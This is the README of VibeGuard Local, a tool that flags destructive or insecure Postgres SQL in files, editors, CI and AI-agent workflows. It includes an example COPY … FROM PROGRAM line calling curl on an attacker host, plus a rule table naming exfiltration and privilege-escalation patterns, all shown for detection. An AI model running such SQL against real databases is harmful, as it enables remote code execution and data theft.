vibeguard-local
Health Uyari
- License — License: Apache-2.0
- No description — Repository has no description
- Active repo — Last push 0 days ago
- Low visibility — Only 7 GitHub stars
Code Gecti
- Code scan — Scanned 12 files during light audit, no dangerous patterns found
Permissions Gecti
- Permissions — No dangerous permissions requested
Bu listing icin henuz AI raporu yok.
VibeGuard — Local
AI agents are casually writing SQL that can nuke your entire production database.
VibeGuard Local is the senior DBA review your AI doesn't know it needs.
36 battle-tested safety checks. Sub-millisecond. 100% local.
🆕 v1.8 — works with every major coding agent. One install command and the SQL safety skill drops into Claude Code, Cursor, GitHub Copilot CLI, Google Gemini CLI, Codeium Windsurf, aider, plus any agent that reads AGENTS.md (Codex CLI, OpenCode, OpenClaw, Hermes, Pi). Zero per-agent setup.
npm install @vibeguard-dev/local libpg-query
npx vg-local install-skill # auto-detects every agent on this machine, installs into each
Runs in your editor as you type, in CI before you merge, in the CLI before you migrate, or right in your browser. Nothing ever leaves your machine.
Try it right now → muddysheep.github.io/vibeguard-local
Paste any query. Or click one of 36 ready-made samples — one per shipped check. Watch the analyzer catch what you didn't know was wrong.
Runs entirely in your browser via WASM. Your SQL never leaves the page. No signup, no install, no telemetry.
Three queries that look fine and absolutely aren't
These are real query shapes that have caused real outages. Paste any of them into the playground and watch what happens.
1. The audit-log trick that still deletes everything
WITH deleted_users AS (
DELETE FROM users
RETURNING id, account_status
)
INSERT INTO audit_log (user_id, action)
SELECT id, 'purged' FROM deleted_users
WHERE account_status = 0;
Looks like: "we only purge inactive users — there's a WHERE account_status = 0 right there."
Actually does: deletes every row in users. The WHERE is on the outer SELECT, not the DELETE. The audit log just looks clean because only the inactive users get logged. You won't notice until the support tickets start.
VibeGuard catches: SQL-003 (block, 97) — Unbounded DELETE statement.
2. The WHERE 1=1 placeholder that ships to production
DELETE FROM users WHERE 1=1;
Looks like: scoped — there's a WHERE clause, the AI was being careful.
Actually does: deletes everything. AI agents leave WHERE 1=1 as a placeholder they "intend to fill in later." Sometimes they don't. Sometimes the human doesn't notice. Sometimes both.
VibeGuard catches: SQL-034 (block, 95) — literal tautology on DELETE.
3. The Postgres feature that's also remote code execution
COPY users FROM PROGRAM 'curl http://attacker.com/payload.csv';
Looks like: a normal COPY for loading data. The AI even commented it as "import users from CSV."
Actually does: runs curl (or rm -rf, or anything) on the database server, as the postgres OS user. If your AI agent has DB credentials and writes this, that's RCE on your Postgres host. This is documented Postgres behavior, not a vulnerability — and almost nobody knows it exists until someone exploits it.
VibeGuard catches: SQL-016 (block, 99) — COPY ... FROM PROGRAM.
There are 33 more like these. The full list is below.
Who this is for
You're shipping fast with AI and you're a little nervous about it.
Cursor's writing your migrations. Claude Code is generating RPCs. Replit Agent's been touching the database for two hours and you haven't been watching every query. You want a tripwire that fires before the agent's confidently-wrong SQL hits production. That's this.
You're a senior engineer and you read the three queries above and immediately knew which 2am incident each one represents.
You don't need convincing. You need a npm install, an ESLint rule, and a CI step. Skip to Install.
Specifically, this is for you if any of these are true:
- You write SQL by hand. Migrations, RPC bodies, ad-hoc fixes. One missing
WHEREclause wipes a table at 11pm and you spend Saturday restoring from backup. - You write SQL inside JavaScript or TypeScript. Tagged template literals (
sql`SELECT ...`) in postgres.js, Kysely, Drizzle's raw SQL escape, or any framework. Most ORM code is safe; the dangerous queries are the ones you wrote yourself in a tagged template and never linted. - You let AI agents touch your database. Cursor, Claude Code, Replit Agent, custom orchestrators. The agent confidently generates
DELETE FROM usersand you find out it ran when the support tickets start.
This is NOT for you if your entire workflow is structured query builders you never override (.from().select().eq() chains, ActiveRecord without find_by_sql). Those are already parameterized and safe by construction. The moment SQL gets written as text, by anyone or anything — that's when this kicks in.
For AI agents (new in v1.7)
VibeGuard now speaks fluent agent. Four pieces, designed to compose:
--format=jsonl(also--format=ndjson) — stable, machine-readable output. One JSON object per catch on stdout, with a versioned_schemafield. Perfect for CI gates, dashboards, and agent memory loops. Schema is committed inSTABILITY.md.--stdin— pipe SQL from agent memory or a shell variable directly. No temp file, nomktempdance.examples/agent-skill/SKILL.md— drop-in skill file. Frontmatter uses only the fields Claude Code actually parses today (name,description); body is portable to Cursor / aider per the companion README. The skill teaches the agent to pre-flight every SQL throughvg-localbefore executing.--reflect(experimental) — emits a richer reflection object per catch withpain_score,importance,suggested_lessonand a templated reflection paragraph designed for agent episodic-memory ingestion. Schema isvg-reflect/0and is explicitly not under semver commitments yet; see STABILITY.md → Reflection output schema (EXPERIMENTAL) and docs/reflect-mode.md for the graduation contract and consumption recipes.
Quick start — one command, every harness
npx vg-local install-skill
That auto-detects every agent harness on this machine + project and installs the vibeguard-sql-safety skill into each. Interactive — prompts before writing. --yes skips the prompt for CI / scripts.
Harnesses supported in v1.8+:
| Harness | Detection signal | Install destination |
|---|---|---|
| Claude Code (user) | ~/.claude/ exists |
~/.claude/skills/vibeguard-sql-safety/SKILL.md |
| Claude Code (project) | ./.claude/ exists |
./.claude/skills/vibeguard-sql-safety/SKILL.md |
Cursor (.cursorrules) |
.cursorrules file |
appended between marker comments |
Cursor (.cursor/rules/) |
.cursor/rules/ directory |
.cursor/rules/vibeguard-sql-safety.mdc |
| aider | CONVENTIONS.md or .aider.conf.yml |
appended to CONVENTIONS.md |
| GitHub Copilot CLI | .github/instructions/ etc. |
.github/instructions/vibeguard-sql-safety.instructions.md |
| Google Gemini CLI | gemini.md or .gemini/ |
appended to gemini.md |
Codeium Windsurf (.windsurfrules) |
.windsurfrules file |
appended between marker comments |
Codeium Windsurf (.windsurf/rules/) |
.windsurf/rules/ directory |
.windsurf/rules/vibeguard-sql-safety.md |
| AGENTS.md family — Codex CLI, OpenCode, OpenClaw, Hermes, Pi | AGENTS.md, opencode.json, .pi/, or .openclaw-system.md |
appended to AGENTS.md between marker comments |
For deterministic activation in Claude Code (everywhere else it's already deterministic — they read the instruction file on every prompt), opt in to a CLAUDE.md memory directive:
npx vg-local install-skill --yes --with-memory=user
# or --with-memory=project for project-scoped activation
Restrict to one specific harness:
npx vg-local install-skill --target=claude-user
# valid target ids: claude-user, claude-project, cursor-rules-file,
# cursor-rules-dir, aider, agents-md, copilot-cli,
# gemini, windsurf-rules-file, windsurf-rules-dir
Idempotent. All file-append targets use marker comments (<!-- vibeguard-skill-begin --> / <!-- vibeguard-skill-end -->); re-running install replaces between markers rather than duplicating.
Manual install (if you prefer not to use the subcommand): the SKILL.md ships in the tarball at node_modules/@vibeguard-dev/local/examples/agent-skill/SKILL.md. Copy it to whichever path matches your harness from the table above.
The agent's pre-flight call from then on:
echo "$SQL" | vg-local analyze --stdin --format=jsonl
One JSON object per catch on stdout, exit code 1 if any block-severity catch fires, parse errors on stderr.
What this changes
VibeGuard goes from "a wall the agent bounces off" to "a teacher the agent can ingest." The JSONL output composes with jq, dashboards, and CI. The reflection mode (when its schema graduates) lets the agent's memory loop compound lessons across runs, keyed on stable catch IDs — three months from now the agent doesn't even propose the dangerous shape because the lesson is in its semantic memory.
What it does
You write SQL — by hand, by template literal, or by AI agent.
Before that SQL touches your database, VibeGuard reads it and flags 36 patterns that destroy data, leak data, or open security holes.
The check runs locally, in milliseconds. Nothing leaves your machine. There are four ways to use it:
- Browser Playground — try it instantly, no install, no signup
- CLI — for
.sqlfiles, migrations, CI pipelines, and agents (--stdin+--format=jsonl) - ESLint Plugin — real-time underlines in
sql`...`tagged templates as you type - SDK — wire it into agents, custom dashboards, or memory loops (
--format=jsonl+--reflect)
Install
There are two packages. Pick based on where your SQL lives:
| Where your SQL lives | Install |
|---|---|
.sql files (migrations, RPC bodies, ad-hoc) |
@vibeguard-dev/local — the SDK and CLI |
Inside JS/TS files as sql`...` template literals |
eslint-plugin-vibeguard (which uses the SDK under the hood) |
| Both | Install both |
Most people start with @vibeguard-dev/local, run the CLI on their migrations, see what it catches, then add the ESLint plugin if they also have SQL inside template literals.
@vibeguard-dev/local — the SDK and CLI
The engine. The SDK is what does the analysis; the CLI is the same engine wrapped for terminal use. Install this if you have .sql files anywhere or want to use the analyzer programmatically.
npm install @vibeguard-dev/local libpg-query
libpg-query is the Postgres parser. It's a peer dependency because some users want to control its version separately.
Programmatic use:
import { analyze, init } from '@vibeguard-dev/local';
await init(); // one-time WASM-parser bootstrap
const result = analyze(`UPDATE users SET email = '[email protected]'`);
// → { catches: [{ code: 'SQL-003', severity: 'block', confidence: 99, … }] }
analyze() takes a SQL string and returns an array of catches. Each catch has a stable code, a severity (block | warn | info), a confidence number, a human-readable message, and a suggested fix. That's the whole API.
CLI use (best for .sql files, CI, and agents):
npx @vibeguard-dev/local init # scaffold a sample SQL file + npm script
vg-local analyze 'src/**/*.sql' # analyze files; exit code 1 on any block-severity catch
vg-local analyze 'src/**/*.sql' --format=jsonl # machine-readable output (one JSON object per catch)
echo "$SQL" | vg-local analyze --stdin --format=jsonl
# pipe from an agent — no temp file needed
vg-local analyze 'src/**/*.sql' --reflect # experimental: reflection objects for agent memory loops
vg-local analyze 'src/**/*.sql' --fix # apply autofixes for SQL-001 / 005 / 006 / 011
vg-local analyze 'src/**/*.sql' --fix-dry-run # show what would change, don't write
The exit-code-1-on-block behavior is what makes it CI-friendly: drop vg-local analyze into a GitHub Action, and PRs that introduce a block-severity catch fail the build. Your AI can keep generating SQL all day; the build just won't let the destructive shapes through.
Full SDK and CLI reference: packages/sdk/README.md.
eslint-plugin-vibeguard — for SQL inside JS/TS template literals
If your SQL lives in sql`SELECT ...` tagged template literals, this gets you in-editor underlines as you type — same way ESLint flags any other lint error. Install on top of (or alongside) @vibeguard-dev/local.
npm install --save-dev eslint-plugin-vibeguard libpg-query
// eslint.config.js (ESLint 9+ flat config)
import vibeguard from 'eslint-plugin-vibeguard';
export default [
{
files: ['**/*.{js,ts,tsx}'],
plugins: { vibeguard },
rules: { 'vibeguard/sql-safety': 'error' },
},
];
Now sql`SELECT id FROM users WHERE active = NULL` underlines active = NULL in your editor with the SQL-005 catch. Run eslint --fix and it rewrites to IS NULL, the same way Prettier reformats code.
The plugin recognizes the sql tag by default. You can configure other tags (e.g. db.query) — see the plugin docs.
Full plugin docs: packages/eslint-plugin/README.md.
What's in the playground
The playground at muddysheep.github.io/vibeguard-local is a hosted demo of the analyzer running entirely in your browser. Useful for:
- Trying it before installing. Paste a query, see what fires, decide if it's worth the
npm install. - Sharing a finding. The
sharebutton packs the editor contents into the URL. Copy the URL, paste it in Slack, your teammate sees the same query and the same verdict. - Reproducing a bug. If the analyzer surprises you, the AST view shows what the parser actually saw, which is usually where the surprise came from.
All 36 catches have a one-click sample in the gallery. Clicking SQL-013 loads a DROP TABLE example; SQL-005 loads a WHERE col = NULL footgun; and so on. Use the samples to map a catch ID to a real query in seconds.
| Light theme | AST viewer |
|---|---|
![]() |
![]() |
The 36 catches
Each has a stable code (e.g. SQL-001), a severity, a confidence range, and a docs page. Catch IDs are forever-stable — once a catch ID is published, it always means the same thing. Severity may change in major versions; the meaning of the ID does not. (Full stability commitment: STABILITY.md.)
V1.0 through V1.5 shipped 15 catches focused on correctness footguns — cartesian products, NULL comparison bugs, missing WHERE clauses, recursive CTE termination. V1.6 adds 21 Postgres-specific catches focused on destruction, exfiltration, privilege escalation, and analyzer blind spots (SQL-016 through SQL-036).
| Code | Title | Severity | Confidence | Default | Auto-fix |
|---|---|---|---|---|---|
SQL-001 |
Cartesian explosion (also UPDATE…FROM, DELETE…USING) | block | 90–95 | ON | placeholder |
SQL-002 |
Self-join footgun (also UPDATE…FROM, DELETE…USING) | warn | 70–85 | ON | — |
SQL-003 |
Unbounded UPDATE / DELETE | block | 95–99 | ON | — |
SQL-004 |
Implicit type coercion in WHERE | warn | 75–85 | ON | — |
SQL-005 |
NULL comparison footgun | warn | 90–95 | ON | yes |
SQL-006 |
OFFSET without ORDER BY | warn | 85–95 | ON | placeholder |
SQL-007 |
NOT IN with nullable subquery | warn | 75–85 | ON | — |
SQL-008 |
String-concat injection patterns | block | 80–95 | ON | — |
SQL-009 |
DISTINCT without obvious reduction | info | 60–75 | ON | — |
SQL-010 |
Correlated subquery in SELECT | warn | 70–85 | ON | — |
SQL-011 |
Aggregate without GROUP BY | warn | 85–95 | ON | yes |
SQL-012 |
Recursive CTE without termination | block | 80–95 | ON | — |
SQL-013 |
DROP / TRUNCATE / DDL destruction | block / warn | 85–99 | ON | — |
SQL-014 |
INSERT/UPDATE/DELETE without RETURNING | info | 50 | OFF (opt-in) | — |
SQL-015 |
SELECT * over-fetch |
info | 60 | ON | — |
SQL-016 |
COPY … FROM/TO PROGRAM (server-side RCE) |
block | 99 | ON | — |
SQL-017 |
CREATE EXTENSION of untrusted procedural language |
block | 95 | ON | — |
SQL-018 |
ALTER TABLE … DROP COLUMN (silent data loss) |
warn | 90 | ON | — |
SQL-019 |
CREATE TRIGGER (hidden side effects per row) |
info | 75 | ON | — |
SQL-020 |
CREATE OR REPLACE FUNCTION (silent overwrite) |
info | 70 | ON | — |
SQL-021 |
GRANT … TO PUBLIC (over-broad permission) |
warn | 90 | ON | — |
SQL-022 |
CREATE/ALTER ROLE … SUPERUSER (privilege escalation) |
block | 95 | ON | — |
SQL-023 |
pg_terminate_backend / pg_cancel_backend (DoS) |
warn | 85 | ON | — |
SQL-024 |
VACUUM FULL (ACCESS EXCLUSIVE outage) |
warn | 80 | ON | — |
SQL-025 |
REFRESH MATERIALIZED VIEW (blocking refresh) |
warn | 75 | ON | — |
SQL-026 |
MERGE with tautological ON (full-table mutation) |
block | 90 | ON | — |
SQL-027 |
SET search_path to attacker-controlled schema |
warn | 85 | ON | — |
SQL-028 |
pg_create_*_replication_slot (exfiltration channel) |
warn | 80 | ON | — |
SQL-029 |
dblink / CREATE SERVER (outbound network) |
warn | 80 | ON | — |
SQL-030 |
pg_read_* / lo_export / pg_ls_dir (server FS) |
warn | 90 | ON | — |
SQL-031 |
INSERT … SELECT … ON CONFLICT DO UPDATE (unbounded upsert) |
info | 75 | ON | — |
SQL-032 |
EXPLAIN ANALYZE of a destructive statement |
info | 80 | ON | — |
SQL-033 |
DO $$ … $$ opaque procedural block |
info | 70 | ON | — |
SQL-034 |
WHERE 1=1 / literal tautology on UPDATE/DELETE |
block | 95 | ON | — |
SQL-035 |
UPDATE … FROM without join predicate (cross-join overwrite) |
block | 90 | ON | — |
SQL-036 |
DELETE … USING without join predicate (cross-join wipe) |
block | 90 | ON | — |
Severity meanings:
- block — fails CI, errors in the editor, refuses the autofix flow without explicit override. Used for shapes that almost always cause real harm.
- warn — flagged but doesn't fail CI by default. Used for shapes that are usually wrong but have legitimate uses.
- info — informational. Useful for review, never fails anything.
Confidence is a number from 0 to 99 indicating how sure the analyzer is that this is a real problem and not a false positive. Higher numbers mean more confident.
Default is whether the rule is on out of the box. Most are. SQL-014 is off by default because most teams don't actually need RETURNING on every write, and turning it on by default would create noise.
Auto-fix indicates whether --fix rewrites the SQL automatically (yes), inserts a placeholder for you to fill in (placeholder), or doesn't apply (—).
What this is NOT
This is static analysis only. It checks the shape of the SQL text — what's written, before it runs. It does not:
- compare an agent's stated intent against what its SQL would actually do at runtime
- estimate real blast radius from the upstream Postgres planner
- provide tamper-evident audit logging across every database operation
- offer human-in-the-loop escalation for grey-zone queries
- track per-agent behavioral baselines over time
If you need any of those, there's a separate VibeGuard Cloud product — an MCP server (and, for self-hosters, a wire-protocol proxy) that sits between your AI agents and your production database at runtime. Different product, different scope. The two are designed to work together: the OSS in your editor and CI catches the dangerous shapes before they're committed; the Cloud catches what slips through, at the moment the agent tries to execute it.
This repo isn't a marketing surface for the Cloud product. But if you read the list above and thought "I need that gap filled," that gap exists, and that's what fills it.
Dialect support
VibeGuard parses Postgres SQL only, via libpg-query (Postgres's own parser).
Queries in MySQL, MariaDB, or SQLite dialects will fail to parse. The most common surface for this is placeholder syntax — Postgres uses $1, $2, $3, while MySQL/MariaDB and many ORMs use ?. A query like INSERT INTO t (a, b) VALUES (?, ?) will error with syntax error near "?,?" rather than running the rule analysis.
Multi-dialect support (MySQL, MariaDB, SQLite) is tracked in #1. It's not scheduled for v1.x. Most catches are dialect-agnostic in principle, so it's not impossible — it's a parser and test-surface investment that hasn't been made yet. If you want it prioritized, 👍 the issue and leave a comment with your stack — that signal genuinely shapes the roadmap.
Repo layout
This repo is a pnpm workspace with three packages and a playground app:
vibeguard-local/
├── packages/
│ ├── sdk/ # @vibeguard-dev/local — analyzer + CLI
│ ├── eslint-plugin/ # eslint-plugin-vibeguard — sql`…` template-literal rule
│ └── ui/ # @vibeguard-dev/ui — design system used by the playground
├── apps/
│ └── playground/ # the live web playground at muddysheep.github.io/vibeguard-local
└── .github/workflows/
├── ci.yml # typecheck + lint + test + build + size on every push
├── playground-deploy.yml # build → deploy to GitHub Pages
└── release.yml # creates draft GitHub Release on `v*` tag push
@vibeguard-dev/ui is published to npm but isn't documented here — it's an internal-shaped package the playground happens to depend on. If you're building a custom dashboard on top of the analyzer and want the same look, see packages/ui/README.md. Otherwise, you can ignore it.
To work on the repo locally:
corepack enable # picks up the pnpm version pinned in package.json
pnpm install
pnpm -r --if-present build # build first — workspace deps resolve types via dist/
pnpm -r --if-present typecheck
pnpm -r --if-present test
Architecture and contribution process: packages/sdk/CONTRIBUTING.md, packages/sdk/ARCHITECTURE.md.
License
Apache 2.0 across the whole workspace. See packages/sdk/NOTICE for attribution requirements that travel with derivative works.
Yorumlar (0)
Yorum birakmak icin giris yap.
Yorum birakSonuc bulunamadi


